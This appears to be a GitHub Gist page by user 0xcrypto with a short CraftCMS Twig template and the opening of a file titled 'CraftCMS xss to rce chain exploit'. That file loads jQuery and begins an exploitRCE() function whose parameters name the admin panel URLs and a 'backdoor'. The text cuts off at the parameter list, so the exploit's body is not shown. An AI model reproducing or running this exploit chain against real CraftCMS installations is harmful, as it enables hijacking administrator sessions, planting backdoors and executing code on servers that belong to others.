Skip to content

Instantly share code, notes, and snippets.

View 0xcrypto's full-sized avatar
🐢
Building a better world, one line of code at a time

0xcrypto

🐢
Building a better world, one line of code at a time
View GitHub Profile
@0xcrypto
0xcrypto / index.twig
Created March 12, 2023 15:06
CraftCMS chain
<h1>{{entry.title}}</h1>
{% set rel = entry.asset.one() %}
{% if rel %}
<p><a href="{{ rel.url }}">{{ rel.filename }}</a></p>
@0xcrypto
0xcrypto / exploit.html
Created March 12, 2023 15:08
CraftCMS xss to rce chain exploit
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
// usage: exploitRCE()
function exploitRCE(
adminPanelUrl = '/index.php?p=admin/',
adminPanelDefaultUrl = '/admin/',
backdoor = 'backdoor',
twigTemplateExt = "text/html",